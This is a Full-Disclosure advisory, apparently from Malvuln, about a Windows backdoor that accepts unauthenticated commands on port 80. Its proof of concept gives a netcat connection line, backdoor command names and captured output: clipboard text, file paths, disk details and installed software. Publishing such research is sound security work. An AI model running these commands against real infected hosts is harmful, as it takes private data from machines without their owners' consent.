full-disclosure - [FD] Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command Execution

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Date: Sat, 3 Jul 2021 17:25:49 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NerTe.781 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/776e8bb41adf8bd95865c0b03637d8d7_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.781
Vulnerability: Unauthenticated Remote Command Execution
Description: Third-party attackers who can reach infected systems can
connect to port 80 and run commands made available by the backdoor to
retrieve information etc.
Type: PE32
MD5: 776e8bb41adf8bd95865c0b03637d8d7
Vuln ID: MVID-2021-0265
Dropped files: nsrv78.exe
Disclosure: 07/03/2021

Exploit/PoC:
Example commands:

GETCLB (Get Clipboard data)
GETSND (Get sounds)
GETIN2 (Get Installed Software)
GETIN3
GETIN4
GETIN6

nc64.exe x.x.x.x  80

VERSIJ7.8.1ñnoñVictimñDESKTOP-2C4IQHO╢GETCLB
GETCLB*************** Clipboard **************ñTomorrow West 18th and
broadway.ñ*************** End **************╢GETSND
GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢

MSGUnknown command╢GETIN2
GETIN2DESKTOP-2C4IQHOñVictimñññññ7:56:40 PMñ1 Hour, 11 Minutes, 42
Seconds.ñ1ñ1ñ1ñ2814.17ñUnknown╢
GETIN4NTFSñC:\Program Files
(x86)\NerTeñA2C9-AD2Fñ85405782016ñ12950585344ñ512ñ8ñ20,851,021ñ3,161,764ñFixedñCDñC:
[]ñD: []╢
GETIN6HxD Hex Editor version 1.7.7.0ñNerTeñWinPcap 4.1.3ñWinSCP
5.13ñWireshark 2.4.5 64-bitñMicrosoft Visual C++ 2010  x86 Redistributable
- 10.0.30319ñMicrosoft Visual C++ 2008 Redistributable - x86
9.0.30729.4148ñPython LauncherñJava Auto UpdaterñMicrosoft Visual C++ 2017
C:\Users\Victim\AppData\Local\Programs\Python\Python2\;C:\Users\Victim\AppData\Local\Microsoft\WindowsApps;;C:\Users\Victim\AppData\Local\Programs\Fiddler;C:\Program
Files
(x86)\Fiddler2\Fiddlerñ0PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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